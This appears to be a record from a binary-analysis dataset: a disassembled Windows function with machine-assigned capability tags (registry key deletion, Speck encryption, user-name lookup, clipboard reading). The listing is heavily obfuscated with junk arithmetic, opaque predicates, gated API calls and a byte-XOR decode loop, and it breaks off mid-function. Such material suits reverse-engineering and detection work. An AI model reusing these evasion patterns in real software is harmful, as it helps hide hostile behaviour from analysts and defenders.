Function at 0x100011da
Capabilities:
Delete registry key
Encrypt data using speck
Get session user name
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002408c
mov eax, dword fs:[0]
push eax
add esp, 0xfffff640
mov eax, dword [0x1002d178]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8c8], 0xea75c96d
mov dword [ebp - 0x7f0], 0
mov dword [ebp - 0x7f8], 0xb108f825
mov dword [ebp - 0x698], 0x2d4ea680
mov dword [ebp - 0x800], 0xfffffffc
mov dword [ebp - 0x824], 0xd65121ac
mov dword [ebp - 0x24c], 1
mov dword [ebp - 0x82c], 0x1d21f1eb
push 1
lea ecx, [ebp - 0x7b8]
call fcn.10005bc8
and dword [ebp - 4], 0
mov dword [ebp - 0x244], 0
jmp 0x10001281
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 1
jge 0x100012a3
push dword [ebp - 0x244]
lea ecx, [ebp - 0x7b8]
call fcn.10005c66
mov dword [eax], 0x6ec17e5c
jmp 0x10001274
push 0
lea ecx, [ebp - 0x7b8]
call fcn.10005c66
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x33c]
mov eax, dword [eax]
inc eax
mov dword [ecx], eax
mov dword [ebp - 0x24c], 0
jmp 0x100012e0
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jg 0x100012f5
mov dword [ebp - 0x698], 1
jmp 0x100012d3
lea ecx, [ebp - 0x7b8]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov dword [ebp - 0x700], 0x61f9c28a
mov dword [ebp - 0x71c], 0x29be1d92
mov dword [ebp - 0x834], 0xfffffffd
mov dword [ebp - 0x83c], 0x887cf2e5
mov dword [ebp - 0x844], 0
mov dword [ebp - 0x84c], 0x2285faaf
mov dword [ebp - 0x854], 0
mov dword [ebp - 0x594], 0xb972
mov dword [ebp - 0x254], 0
jmp 0x1000136d
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jge 0x10001389
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x9ac], 1
jmp 0x10001360
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x594]
dec eax
mov dword [ebp - 0x594], eax
mov eax, dword [0x10032574]
and eax, 1
jne 0x100013d9
mov eax, dword [0x10032574]
or eax, 1
mov dword [0x10032574], eax
mov dword [ebp - 4], 1
mov ecx, 0x10032580
call fcn.10005c8c
push 0x10024aa9
call fcn.1001806f
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x140], 0x571177e8
mov dword [ebp - 0x25c], 0
jmp 0x100013fc
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x10001415
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0x28], 0x1dbeccce
jmp 0x100013ef
mov dword [ebp - 0x140], 0xffffffeb
jmp 0x1000142e
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffe5
jl 0x1000174b
mov dword [ebp - 0xf8], 2
mov dword [ebp - 0x2a8], 0x51bb35b6
mov dword [ebp - 0xf8], 2
jmp 0x10001468
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x10001746
mov dword [ebp - 0x734], 0xf5b872a
mov dword [ebp - 0x264], 0
jmp 0x10001498
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 1
jge 0x100014b4
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x2ec], 0x2b000250
jmp 0x1000148b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x28], 0x497f
jge 0x100014d0
mov dword [ebp - 0x59c], 1
jmp 0x100014d7
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x59c]
or eax, eax
jne 0x10001501
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2ec], 0
jne 0x10001501
and dword [ebp - 0x5a4], 0
jmp 0x1000150b
mov dword [ebp - 0x5a4], 1
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x5a4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x28]
jg 0x1000152f
mov dword [ebp - 0x5ac], 1
jmp 0x10001536
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
add eax, dword [ebp - 0x5ac]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x28]
cmp eax, dword [ebp - 0xf8]
je 0x10001571
mov dword [ebp - 0x6f4], 1
jmp 0x10001578
and dword [ebp - 0x6f4], 0
cmp dword [ebp - 0x2a8], 9
jg 0x1000158d
mov dword [ebp - 0x5b4], 1
jmp 0x10001594
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp + eax*4 - 0x28]
sub eax, dword [ebp - 0x5b4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2ec]
jle 0x100015bf
mov dword [ebp - 0x5bc], 1
jmp 0x100015c6
and dword [ebp - 0x5bc], 0
mov ecx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x5bc]
sub eax, dword [ebp - 0xf8]
cmp eax, dword [ebp + ecx*4 - 0x28]
je 0x100015ea
mov dword [ebp - 0x5c4], 1
jmp 0x100015f1
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
sub eax, 0xffff0001
cmp eax, dword [ebp - 0x140]
je 0x10001610
mov dword [ebp - 0x604], 1
jmp 0x10001617
and dword [ebp - 0x604], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x604], eax
jl 0x10001635
mov dword [ebp - 0x60c], 1
jmp 0x1000163c
and dword [ebp - 0x60c], 0
cmp dword [ebp - 0x60c], 0
jg 0x1000165b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
jne 0x1000165b
and dword [ebp - 0x614], 0
jmp 0x10001665
mov dword [ebp - 0x614], 1
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x614], eax
jge 0x1000167f
mov dword [ebp - 0x61c], 1
jmp 0x10001686
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x61c], eax
jl 0x100016a4
mov dword [ebp - 0x624], 1
jmp 0x100016ab
and dword [ebp - 0x624], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
cmp dword [ebp - 0x624], eax
jge 0x100016d5
mov eax, 0x1448
or eax, eax
je 0x100016d5
mov dword [ebp - 0x2d4], 1
jmp 0x100016dc
and dword [ebp - 0x2d4], 0
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0x28], ecx
cmp dword [ebp - 0x2d4], 0
jne 0x10001707
cmp dword [ebp - 0x140], 0
jne 0x10001707
and dword [ebp - 0x62c], 0
jmp 0x10001711
mov dword [ebp - 0x62c], 1
imul eax, dword [ebp - 0x62c], 0xffff
cmp eax, 2
jl 0x1000172c
mov dword [ebp - 0x634], 1
jmp 0x10001733
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
neg eax
mov dword [ebp - 0x734], eax
jmp 0x1000145b
jmp 0x10001421
movzx eax, byte [0x100324b0]
test eax, eax
je 0x1000189a
lea ecx, [ebp - 0x6c8]
push 1
call fcn.10005bc8
mov dword [ebp - 4], 2
mov dword [ebp - 0x26c], 0
jmp 0x10001787
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x100017a9
lea ecx, [ebp - 0x6c8]
push dword [ebp - 0x26c]
call fcn.10005c66
mov dword [eax], 0x1f7e2799
jmp 0x1000177a
lea ecx, [ebp - 0x6c8]
push 0
call fcn.10005c66
mov dword [eax], 0x16
jmp 0x100017e2
push 0
lea ecx, [ebp - 0x6c8]
call fcn.10005c66
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x63c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x6c8]
call fcn.10005c66
cmp dword [eax], 0x1a
jle 0x10001881
mov dword [ebp - 0x274], 0xb72fd491
mov dword [ebp - 0x274], 0xfffffff3
jmp 0x1000181b
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0xfffffff8
jge 0x10001860
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
or eax, eax
je 0x10001842
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetObjectA]
mov byte [ebp - 0x179], 0
movzx eax, byte [ebp - 0x179]
test eax, eax
je 0x1000185e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x1000180e
mov byte [ebp - 0x17b], 0
movzx eax, byte [ebp - 0x17b]
test eax, eax
je 0x1000187c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x100017be
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c8]
call fcn.10005c4a
mov eax, 0x10032580
jmp 0x100058a5
mov byte [0x100324b0], 1
mov dword [ebp - 0x1ac], 0x1002e1f0
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x27c], 0xfd5d7051
mov dword [ebp - 0x28c], 0x85bd52a2
mov dword [ebp - 0x368], 0x5c82f744
mov dword [ebp - 0x85c], 1
mov dword [ebp - 0x4d0], 0xfffffffb
mov dword [ebp - 0x688], 0xdc7e9069
mov dword [ebp - 0x2ac], 0x7fae
mov dword [ebp - 0x684], 1
mov dword [ebp - 0x134], 0
jmp 0x10001928
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x10001944
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x4d8], 0x54f8d36f
jmp 0x1000191b
mov dword [ebp - 0x134], 0
jmp 0x1000195d
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 4
jge 0x10001979
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0xb8], 0x693ce85d
jmp 0x10001950
cmp dword [ebp - 0x194], 0
jne 0x100019e1
cmp dword [ebp - 0x194], 0
jle 0x10001997
mov dword [ebp - 0x644], 1
jmp 0x1000199e
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x644], eax
jge 0x100019b8
mov dword [ebp - 0x64c], 1
jmp 0x100019bf
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x284]
add eax, 0xa3531f1
jne 0x100019e1
and dword [ebp - 0x5f0], 0
jmp 0x100019eb
mov dword [ebp - 0x5f0], 1
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x5f0], eax
jle 0x10001a05
mov dword [ebp - 0x4c0], 1
jmp 0x10001a0c
and dword [ebp - 0x4c0], 0
cmp dword [ebp - 0x4c0], 0xfffffff9
jbe 0x10001a21
mov dword [ebp - 0x58c], 1
jmp 0x10001a28
and dword [ebp - 0x58c], 0
cmp dword [ebp - 0x58c], 0
je 0x10001a3d
mov dword [ebp - 0x338], 1
jmp 0x10001a44
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x338], eax
jle 0x10001a5e
mov dword [ebp - 0x6fc], 1
jmp 0x10001a65
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x194], 0x33f2
jge 0x10001a95
mov dword [ebp - 0x588], 1
jmp 0x10001a9c
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0xffffffff
jg 0x10001ab1
mov dword [ebp - 0x340], 1
jmp 0x10001ab8
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x340], eax
je 0x10001ad2
mov dword [ebp - 0x4c8], 1
jmp 0x10001ad9
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x2ac]
dec eax
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x368], 0
jne 0x10001b13
mov dword [ebp - 0x638], 1
jmp 0x10001b1a
and dword [ebp - 0x638], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d8]
mov dword [ebp - 0x87c], eax
xor eax, eax
je 0x10001b46
mov eax, 0x4d18
test eax, eax
je 0x10001b46
mov dword [ebp - 0x348], 1
jmp 0x10001b4d
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0x348], eax
jg 0x10001b67
mov dword [ebp - 0x350], 1
jmp 0x10001b6e
and dword [ebp - 0x350], 0
mov dword [ebp - 0x284], 0xff57440e
mov eax, dword [ebp - 0x638]
sub eax, dword [ebp - 0x350]
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
cmp dword [ebp - 0x284], eax
jne 0x10001ba4
mov dword [ebp - 0x358], 1
jmp 0x10001bab
and dword [ebp - 0x358], 0
cmp dword [ebp - 0x358], 1
je 0x10001bc0
mov dword [ebp - 0x590], 1
jmp 0x10001bc7
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
sub eax, dword [ebp - 0x684]
cmp eax, 0xfa41
jg 0x10001be6
mov dword [ebp - 0x360], 1
jmp 0x10001bed
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x688]
imul eax, dword [ebp - 0x360]
cmp eax, 0x1c8d2125
jge 0x10001c0d
mov dword [ebp - 0x2b8], 1
jmp 0x10001c14
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x28c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b8]
mov dword [ebp + eax - 0x4d8], ecx
mov eax, dword [ebp - 0x28c]
imul eax, dword [ebp - 0x2b8]
imul eax, eax, 0xfff7
mov dword [ebp - 0x368], eax
and dword [ebp - 0x2d0], 0
mov dword [ebp - 0x170], 0xfffffffc
mov dword [ebp - 0x14c], 0xfffffffd
mov dword [ebp - 0x170], 3
jmp 0x10001c80
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffff3
jge 0x10001cb1
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
or eax, eax
je 0x10001caf
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x10001c73
cmp dword [ebp - 0x14c], 0
jne 0x10001ccc
cmp dword [ebp - 0x14c], 0
jne 0x10001ccc
and dword [ebp - 0x600], 0
jmp 0x10001cd6
mov dword [ebp - 0x600], 1
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x14c], eax
je 0x10001cf0
mov dword [ebp - 0x370], 1
jmp 0x10001cf7
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x370]
jge 0x10001d17
cmp dword [ebp - 0x14c], 0
jne 0x10001d17
and dword [ebp - 0x4e0], 0
jmp 0x10001d21
mov dword [ebp - 0x4e0], 1
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
imul eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x14c]
jle 0x10001d55
mov dword [ebp - 0x378], 1
jmp 0x10001d5c
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x1b0], 0xc
jmp 0x10001d81
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xe0
jge 0x10001e59
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ac]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 0x1ac]
add ecx, dword [ebp - 0x1b0]
movzx ecx, byte [ecx]
cmp eax, ecx
jne 0x10001e54
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x294], 0xffffffff
mov dword [ebp - 0x884], 5
mov dword [ebp - 0x294], 0xa
jmp 0x10001df1
mov eax, dword [ebp - 0x294]
dec eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0xfffffff6
jg 0x10001e52
mov dword [ebp - 0x88c], 0xc8d3c891
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x29c], 0
jmp 0x10001e27
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 1
jge 0x10001e43
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0x894], 4
jmp 0x10001e1a
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
jmp 0x10001de4
jmp 0x10001e59
jmp 0x10001d74
mov dword [ebp - 0x1cc], 0xc184c506
mov dword [ebp - 0x89c], 0x9d786592
mov dword [ebp - 0x2a4], 0
jmp 0x10001e86
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x10001ea2
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x77c], 0xb57f
jmp 0x10001e79
mov dword [ebp - 0x1cc], 1
jmp 0x10001ebb
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jl 0x10001f18
mov dword [ebp - 0x1a0], 0x6b950ba1
mov dword [ebp - 0x1a0], 1
jmp 0x10001ee7
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jl 0x10001f16
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp + eax*4 - 0x77c], 0
je 0x10001f02
jmp 0x10001f16
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp + eax*4 - 0x77c], 0
je 0x10001f14
jmp 0x10001eda
jmp 0x10001eda
jmp 0x10001eae
mov dword [ebp - 0x8a4], 4
mov dword [ebp - 0x124], 0x1002e2d0
mov dword [ebp - 0x270], 0xffffffff
mov dword [ebp - 0x8ac], 0xffffffff
mov dword [ebp - 0x690], 0x82104667
mov dword [ebp - 0x270], 2
jmp 0x10001f63
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 6
je 0x10002015
mov dword [ebp - 0x23c], 0xeede0b40
mov dword [ebp - 0x8b4], 0xa7b5cf1c
mov dword [ebp - 0x23c], 0xfffffffa
jmp 0x10001f9d
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x17
jl 0x10002010
push 3
lea ecx, [ebp - 0x8e4]
call fcn.10005bc8
mov dword [ebp - 4], 3
mov dword [ebp - 0x1d8], 0
jmp 0x10001fd3
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jge 0x10001ff5
lea ecx, [ebp - 0x8e4]
push dword [ebp - 0x1d8]
call fcn.10005c66
mov dword [eax], 9
jmp 0x10001fc6
mov dword [ebp - 0x690], 0xab55
lea ecx, [ebp - 0x8e4]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
jmp 0x10001f90
jmp 0x10001f56
xor eax, eax
mov ecx, dword [ebp - 0x124]
inc eax
imul eax, eax, 0
mov al, byte [ecx + eax]
lea ecx, [ebp - 0x754]
mov byte [ebp - 0xe1], al
mov dword [ebp - 0x1a8], 0xb58e
push 2
call fcn.10005bc8
mov dword [ebp - 4], 4
mov dword [ebp - 0x240], 0
jmp 0x10002061
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x10002083
push dword [ebp - 0x240]
lea ecx, [ebp - 0x754]
call fcn.10005c66
mov dword [eax], 0x9e57ad95
jmp 0x10002054
lea ecx, [ebp - 0x754]
mov esi, dword [ebp - 0x1a8]
push 0
call fcn.10005c66
mov dword [eax], esi
mov dword [ebp - 0x1a8], 0
jmp 0x100020b1
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jg 0x10002102
mov dword [ebp - 0x1e0], 0xea122098
mov dword [ebp - 0x1e0], 0
jmp 0x100020dd
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jg 0x10002100
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x754]
call fcn.10005c66
cmp dword [eax], 0
je 0x100020fe
jmp 0x10002100
jmp 0x100020d0
jmp 0x100020a4
lea ecx, [ebp - 0x754]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp - 0x1ac]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ecx + eax]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [edx + ecx]
xor eax, ecx
mov edx, dword [ebp - 0x124]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [edx + ecx], al
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x8bc], 0xadb2bc40
mov dword [ebp - 0x8c4], 0x658edfe0
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x8d4], 0x59ec1348
mov dword [ebp - 0x95c], 0xfffffff6
mov dword [ebp - 0x964], 0xffffffff
mov dword [ebp - 0x298], 0
jmp 0x100021a1
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 3
jge 0x100021bd
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0xa8], 0xfffffffa
jmp 0x10002194
mov dword [ebp - 0x1e8], 0x1a
jmp 0x100021d6
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xffffffe3
je 0x10002349
lea ecx, [ebp - 0x8f4]
mov dword [ebp - 0x1f0], 0xffffffff
mov dword [ebp - 0x96c], 0x1da622a1
mov dword [ebp - 0x974], 0xfffffffc
mov dword [ebp - 0x97c], 0xd91509cf
mov dword [ebp - 0x984], 0xcb1a
mov dword [ebp - 0x98c], 0x8461e707
mov dword [ebp - 0x994], 0x16488a97
push 1
call fcn.10005bc8
mov dword [ebp - 4], 5
mov dword [ebp - 0x380], 0xc2a41b87
mov dword [ebp - 0x248], 0
jmp 0x10002260
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x10002282
push dword [ebp - 0x248]
lea ecx, [ebp - 0x8f4]
call fcn.10005c66
mov dword [eax], 1
jmp 0x10002253
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x1000229c
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [ebp - 0x1f0], 0xffffffe3
jmp 0x100022b5
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x12
jle 0x10002335
mov dword [ebp - 0x680], 0
mov dword [ebp - 0x99c], 0xcb8ce3e6
mov dword [ebp - 0x9a4], 0x9e672ca3
mov dword [ebp - 0x8b8], 8
mov dword [ebp - 0x7c4], 1
mov dword [ebp - 0x8a0], 0xe008fb0b
mov dword [ebp - 0x7cc], 2
mov dword [ebp - 0x998], 0xfffffffd
mov dword [ebp - 0x7d4], 0x815f8425
cmp dword [ebp - 0x680], 0
je 0x10002323
jmp 0x10002335
mov eax, dword [ebp - 0x380]
dec eax
mov dword [ebp - 0x380], eax
jmp 0x100022a8
lea ecx, [ebp - 0x8f4]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
jmp 0x100021c9
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x10002363
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x18c], 1
jmp 0x1000237c
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 4
jge 0x100024a4
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x18c]
mov al, byte [eax]
mov byte [ebp - 0x101], al
movzx eax, byte [ebp - 0x101]
movzx ecx, byte [ebp - 0xe1]
xor eax, ecx
movzx ecx, al
mov eax, dword [ebp - 0x18c]
cdq
idiv dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1ac]
movzx eax, byte [eax + edx]
xor ecx, eax
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x18c]
mov byte [eax], cl
mov dword [ebp - 0x8a8], 0
lea ecx, [ebp - 0x904]
mov dword [ebp - 0x7dc], 0x97632667
mov dword [ebp - 0x938], 0xacd79536
push 2
call fcn.10005bc8
mov dword [ebp - 4], 6
mov dword [ebp - 0x7e4], 0xab6e
mov dword [ebp - 0x84], 0xfffffff9
mov dword [ebp - 0x80], 0xfffffff9
mov dword [ebp - 0x7c], 0xfffffff9
mov dword [ebp - 0x78], 0xfffffff9
mov dword [ebp - 0x4e8], 0x3cc9
mov dword [ebp - 0x278], 0
jmp 0x10002455
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jge 0x10002477
lea ecx, [ebp - 0x904]
push dword [ebp - 0x278]
call fcn.10005c66
mov dword [eax], 0xfffffffe
jmp 0x10002448
lea ecx, [ebp - 0x904]
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov al, byte [ebp - 0x101]
mov byte [ebp - 0xe1], al
jmp 0x1000236f
mov dword [ebp - 0x108], 0xf1dbeccc
mov dword [ebp - 0x3b8], 0xffff
mov dword [ebp - 0x2c8], 0xfffffff6
mov dword [ebp - 0x398], 0x7a9d2e81
mov dword [ebp - 0x2c0], 0x93208af0
mov dword [ebp - 0x3a0], 1
mov dword [ebp - 0x3a8], 8
mov dword [ebp - 0x608], 0xffffffff
mov dword [ebp - 0x6a8], 0x5749
cmp dword [ebp - 0x108], 0x495231fb
je 0x10002516
mov dword [ebp - 0x388], 1
jmp 0x1000251d
and dword [ebp - 0x388], 0
cmp dword [ebp - 0x388], 0xffffffff
jb 0x10002538
cmp dword [ebp - 0x108], 0
jne 0x10002538
and dword [ebp - 0x628], 0
jmp 0x10002542
mov dword [ebp - 0x628], 1
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x2c8], eax
jge 0x10002568
mov dword [ebp - 0x390], 1
jmp 0x1000256f
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x390], eax
jg 0x10002592
cmp dword [ebp - 0x108], 0
je 0x10002592
mov dword [ebp - 0x4f0], 1
jmp 0x10002599
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x398], eax
je 0x100025bf
mov dword [ebp - 0x5a0], 1
jmp 0x100025c6
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x3a0], eax
jl 0x100025ec
mov dword [ebp - 0x4f8], 1
jmp 0x100025f3
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
add eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x608], eax
je 0x10002628
mov eax, 0x7af9
or eax, eax
je 0x10002628
mov dword [ebp - 0x3b0], 1
jmp 0x1000262f
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x3b0], eax
je 0x10002649
mov dword [ebp - 0x500], 1
jmp 0x10002650
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x500]
jne 0x1000266a
mov dword [ebp - 0x5a8], 1
jmp 0x10002671
and dword [ebp - 0x5a8], 0
